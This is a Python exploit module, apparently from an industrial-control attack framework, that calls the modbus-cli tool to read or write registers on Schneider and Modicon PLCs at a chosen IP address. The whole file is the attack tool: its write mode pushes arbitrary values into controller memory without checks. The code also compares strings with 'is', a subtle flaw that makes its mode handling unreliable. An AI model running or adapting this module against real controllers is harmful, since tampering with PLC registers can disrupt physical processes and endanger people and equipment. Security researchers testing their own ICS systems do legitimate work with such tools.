import subprocess
from Base import Validators
from Base.Exploits import Exploit, Option
from Utils import print_error, print_success, print_status


class Exploit(Exploit):
    __info__ = {
        'name': 'exploits/modbus-cli',
        'display_name': 'Modbus-cli',
        'authors': [
            'D0ubl3G <d0ubl3g[at]protonmail.com>',
        ],
        'description': 'Modbus-cli commands.',
        'references': [
            'https://github.com/tallakt/modbus-cli',
        ],
        'devices': [
            'Schneider',
            'Modicon',
        ],
    }

    target = Option('192.168.1.1', 'Target address.', validators=Validators.ipv4)
    port = Option(502, 'Target Port', validators=Validators.integer)
    mode = Option('read', 'Action: read or write.')
    value = Option('1', 'Value to be wrote (Only in Write mode).')
    address = Option('%MW100', 'Target Register Address (Schneider-like and Modicon-like addresses)')
    limit = Option('100', 'Register Limit')

    def run(self):
        if self.mode is 'read':
            self.read()
        elif self.mode is 'write':
            self.write()
        else:
            print_error("Mode: " + self.mode + " doesn't exist.")

    def read(self):
        try:
            output = subprocess.check_output(['modbus', 'read', self.target, self.address, self.limit],
                                             stderr=subprocess.STDOUT)
            for x in output.decode().split('\n'):
                if x is not "":
                    print_success(x)
        except:
            print_error("Connection Error. Aborting.")

    def write(self):
        try:
            print_status("Writing '" + self.value + "' in " + self.address + ".")
            subprocess.call(['modbus', 'write', self.target, self.address, self.value], stderr=subprocess.STDOUT)
            print_success("Executed successfully.")
        except:
            print_error("Connection Error. Aborting.")
